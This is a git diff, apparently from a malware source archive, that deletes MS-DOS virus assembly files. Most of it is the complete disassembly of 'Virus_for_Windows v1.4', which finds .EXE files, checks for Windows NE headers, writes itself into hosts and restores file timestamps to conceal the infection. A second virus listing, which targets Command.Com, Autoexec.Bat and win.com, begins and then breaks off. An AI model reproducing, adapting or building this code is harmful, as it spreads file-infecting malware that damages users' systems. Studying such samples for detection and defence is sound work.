-;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -; -; Program Entry Point -; -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - - -wvir14 proc far - -start: - mov ax,cs - add ax,3Bh - mov ds,ax - cld ; Clear direction - push es - push ds - pop es - mov si,data_18e - mov di,data_19e - mov cx,0Dh - rep movsb ; Rep when cx >0 Mov [si] to es:[di] - mov dx,data_17e - mov ah,1Ah - int 21h ; DOS Services ah=function 1Ah - ; set DTA(disk xfer area) ds:dx - mov dx,17Bh - xor cx,cx ; Zero register - mov ah,4Eh -loc_1: - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jc loc_2 ; Jump if carry Set - mov dx,data_18e - call sub_1 - mov ah,4Fh ; 'O' - jmp short loc_1 -loc_2: - mov dx,data_19e - call sub_2 - pop es - mov ax,4C00h - int 21h ; DOS Services ah=function 4Ch - ; terminate with al=return code - -wvir14 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_1 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - je loc_3 ; Jump if equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_4 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time -loc_3: - mov ah,3Eh - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - -loc_ret_4: - retn -sub_1 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_2 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - jne loc_3 ; Jump if not equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_5 - call sub_6 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time - jmp short loc_3 -sub_2 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_3 proc near - call sub_8 - cmp word ptr [si],5A4Dh - jne loc_5 ; Jump if not equal - cmp word ptr [si+18h],40h - jb loc_5 ; Jump if below - mov ax,[si+3Ch] - mov dx,[si+3Eh] - call sub_16 - mov ds:data_20e,ax - mov ds:data_21e,dx - call sub_8 - cmp word ptr [si],454Eh - jne loc_5 ; Jump if not equal - cmp word ptr [si+0Ch],302h - jne loc_5 ; Jump if not equal - cmp byte ptr [si+32h],4 - jne loc_5 ; Jump if not equal - cmp word ptr [si+36h],802h - jne loc_5 ; Jump if not equal - clc ; Clear carry flag - retn -loc_5: - stc ; Set carry flag - -loc_ret_6: - retn -sub_3 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_4 proc near - mov ax,[si+16h] - mov dx,140h - call sub_7 - cmp word ptr ds:data_13e,3AEh - jb loc_ret_6 ; Jump if below - cmp byte ptr ds:data_14e,50h ; 'P' - jne loc_ret_6 ; Jump if not equal - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - cmp word ptr ds:data_16e,4A8h - jb loc_ret_6 ; Jump if below - mov ax,ds:data_12e - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - push word ptr ds:[144h] - pop word ptr ds:[1A2h] - and word ptr ds:[144h],0FEFFh - mov ax,[si+16h] - mov dx,140h - call sub_10 - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - push word ptr [si+14h] - pop word ptr ds:[1A0h] - mov word ptr [si+14h],100h - call sub_11 - mov ax,word ptr ds:[140h] - call sub_15 - push ds - push cs - pop ds - mov dx,100h - mov cx,2AEh - nop - call sub_12 - pop ds - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_12 - retn -sub_4 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_5 proc near - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - mov ax,ds:data_15e - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_9 - retn -sub_5 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_6 proc near - push word ptr ds:data_23e - pop word ptr ds:data_14e - mov ax,[si+16h] - mov dx,140h - call sub_10 - push word ptr ds:data_22e - pop word ptr [si+14h] - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - call sub_11 - call sub_13 - sub ax,0A8h - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - mov ax,ds:data_15e - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - pop dx - pop ax - sub ax,2AEh - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - mov ax,word ptr ds:[140h] - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - pop dx - pop ax - call sub_16 - mov cx,0 - call sub_12 - retn -sub_6 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_7 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_7 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_8: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_9: -loc_7: - mov ah,3Fh - int 21h ; DOS Services ah=function 3Fh - ; read file, bx=file handle - ; cx=bytes to ds:dx buffer - retn -sub_7 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_10 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_8 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_11: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_12: -loc_8: - mov ah,40h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - retn -sub_10 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_13 proc near - mov ax,4202h - xor cx,cx ; Zero register - cwd ; Word to double word - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_13 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_14 proc near - add ax,ds:data_20e - adc dx,ds:data_21e - jmp short loc_9 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_15: - mov cx,10h - mul cx ; dx:ax = reg * ax - add ax,100h - adc dx,0 - jmp short loc_9 - db 33h,0C0h, 99h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_16: -loc_9: - xchg cx,dx - xchg ax,dx - mov ax,4200h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_14 endp - - ;* No entry point to code - xchg cx,dx - xchg ax,dx - mov ax,4201h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn - db ' Virus_for_Windows v1.4 ' - db 259 dup (0) - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'bbbbbbbbccccccccdddddddddddddddd' - db 'ddddddddddddddddddddddddddd*.EXE' - db 0 - db 'eeeeeeeeeeeee' - db 00h, 00h, 80h, 00h, 00h, 00h - db 5Ch, 00h, 00h, 00h - db 6Ch - db 11 dup (0) - db 4Dh, 4Bh, 39h, 32h - db 8 dup (0) - -seg_a ends - - - -;------------------------------------------------------ stack_seg_b ---- - -stack_seg_b segment word stack 'STACK' - - db 8192 dup (0) - -stack_seg_b ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm deleted file mode 100644 index 98555159..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm +++ /dev/null @@ -1,487 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WVIR14 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 1-Sep-92 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_11e equ 100h ;* -data_12e equ 140h ;* -data_13e equ 142h ;* -data_14e equ 144h ;* -data_15e equ 148h ;* -data_16e equ 14Ah ;* -data_17e equ 150h ;* -data_18e equ 16Eh ;* -data_19e equ 181h ;* -data_20e equ 19Ch ;* -data_21e equ 19Eh ;* -data_22e equ 1A0h ;* -data_23e equ 1A2h ;* - -;------------------------------------------------------------ seg_a ---- - -seg_a segment byte public - assume cs:seg_a , ds:seg_a , ss:stack_seg_b - - db 249 dup (0) - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -; -; Program Entry Point -; -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - - -wvir14 proc far - -start: - mov ax,cs - add ax,3Bh - mov ds,ax - cld ; Clear direction - push es - push ds - pop es - mov si,data_18e - mov di,data_19e - mov cx,0Dh - rep movsb ; Rep when cx >0 Mov [si] to es:[di] - mov dx,data_17e - mov ah,1Ah - int 21h ; DOS Services ah=function 1Ah - ; set DTA(disk xfer area) ds:dx - mov dx,17Bh - xor cx,cx ; Zero register - mov ah,4Eh -loc_1: - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jc loc_2 ; Jump if carry Set - mov dx,data_18e - call sub_1 - mov ah,4Fh ; 'O' - jmp short loc_1 -loc_2: - mov dx,data_19e - call sub_2 - pop es - mov ax,4C00h - int 21h ; DOS Services ah=function 4Ch - ; terminate with al=return code - -wvir14 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_1 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - je loc_3 ; Jump if equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_4 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time -loc_3: - mov ah,3Eh - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - -loc_ret_4: - retn -sub_1 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_2 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - jne loc_3 ; Jump if not equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_5 - call sub_6 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time - jmp short loc_3 -sub_2 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_3 proc near - call sub_8 - cmp word ptr [si],5A4Dh - jne loc_5 ; Jump if not equal - cmp word ptr [si+18h],40h - jb loc_5 ; Jump if below - mov ax,[si+3Ch] - mov dx,[si+3Eh] - call sub_16 - mov ds:data_20e,ax - mov ds:data_21e,dx - call sub_8 - cmp word ptr [si],454Eh - jne loc_5 ; Jump if not equal - cmp word ptr [si+0Ch],302h - jne loc_5 ; Jump if not equal - cmp byte ptr [si+32h],4 - jne loc_5 ; Jump if not equal - cmp word ptr [si+36h],802h - jne loc_5 ; Jump if not equal - clc ; Clear carry flag - retn -loc_5: - stc ; Set carry flag - -loc_ret_6: - retn -sub_3 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_4 proc near - mov ax,[si+16h] - mov dx,140h - call sub_7 - cmp word ptr ds:data_13e,3AEh - jb loc_ret_6 ; Jump if below - cmp byte ptr ds:data_14e,50h ; 'P' - jne loc_ret_6 ; Jump if not equal - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - cmp word ptr ds:data_16e,4A8h - jb loc_ret_6 ; Jump if below - mov ax,ds:data_12e - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - push word ptr ds:[144h] - pop word ptr ds:[1A2h] - and word ptr ds:[144h],0FEFFh - mov ax,[si+16h] - mov dx,140h - call sub_10 - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - push word ptr [si+14h] - pop word ptr ds:[1A0h] - mov word ptr [si+14h],100h - call sub_11 - mov ax,word ptr ds:[140h] - call sub_15 - push ds - push cs - pop ds - mov dx,100h - mov cx,2AEh - nop - call sub_12 - pop ds - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_12 - retn -sub_4 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_5 proc near - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - mov ax,ds:data_15e - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_9 - retn -sub_5 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_6 proc near - push word ptr ds:data_23e - pop word ptr ds:data_14e - mov ax,[si+16h] - mov dx,140h - call sub_10 - push word ptr ds:data_22e - pop word ptr [si+14h] - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - call sub_11 - call sub_13 - sub ax,0A8h - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - mov ax,ds:data_15e - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - pop dx - pop ax - sub ax,2AEh - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - mov ax,word ptr ds:[140h] - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - pop dx - pop ax - call sub_16 - mov cx,0 - call sub_12 - retn -sub_6 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_7 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_7 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_8: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_9: -loc_7: - mov ah,3Fh - int 21h ; DOS Services ah=function 3Fh - ; read file, bx=file handle - ; cx=bytes to ds:dx buffer - retn -sub_7 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_10 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_8 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_11: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_12: -loc_8: - mov ah,40h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - retn -sub_10 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_13 proc near - mov ax,4202h - xor cx,cx ; Zero register - cwd ; Word to double word - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_13 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_14 proc near - add ax,ds:data_20e - adc dx,ds:data_21e - jmp short loc_9 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_15: - mov cx,10h - mul cx ; dx:ax = reg * ax - add ax,100h - adc dx,0 - jmp short loc_9 - db 33h,0C0h, 99h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_16: -loc_9: - xchg cx,dx - xchg ax,dx - mov ax,4200h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_14 endp - - ;* No entry point to code - xchg cx,dx - xchg ax,dx - mov ax,4201h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn - db ' Virus_for_Windows v1.4 ' - db 259 dup (0) - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'bbbbbbbbccccccccdddddddddddddddd' - db 'ddddddddddddddddddddddddddd*.EXE' - db 0 - db 'eeeeeeeeeeeee' - db 00h, 00h, 80h, 00h, 00h, 00h - db 5Ch, 00h, 00h, 00h - db 6Ch - db 11 dup (0) - db 4Dh, 4Bh, 39h, 32h - db 8 dup (0) - -seg_a ends - - - -;------------------------------------------------------ stack_seg_b ---- - -stack_seg_b segment word stack 'STACK' - - db 8192 dup (0) - -stack_seg_b ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm deleted file mode 100644 index 559292ab..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm +++ /dev/null @@ -1,225 +0,0 @@ -seg_a segment byte public - assume cs:seg_a, ds:seg_a - - - org 100h - -ww proc far - -start: - jmp loc_2 - db 12 dup (90h) - db 0CDh, 20h -loc_2: - jmp short loc_3 - db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh - db 00h, 00h -data_8 db 'C:\Command.Com', 0 - db 'C:\Autoexec.Bat', 0 - db 'C:\Config.Sys', 0 - db '\win' -data_12 dw 6F64h - db 'ws\win.com' - db 00h,0E9h, 0Eh, 00h, 90h,0C8h - db 01h -loc_3: - mov bx,101h - mov ah,[bx] - mov bx,102h - mov al,[bx] - xchg al,ah - add ax,3 - mov si,ax - mov ah,1Ah - lea dx,[si+2C8h] - add dx,6 - int 21h - - mov ah,4Eh - lea dx,[si+103h] - mov cx,6 - 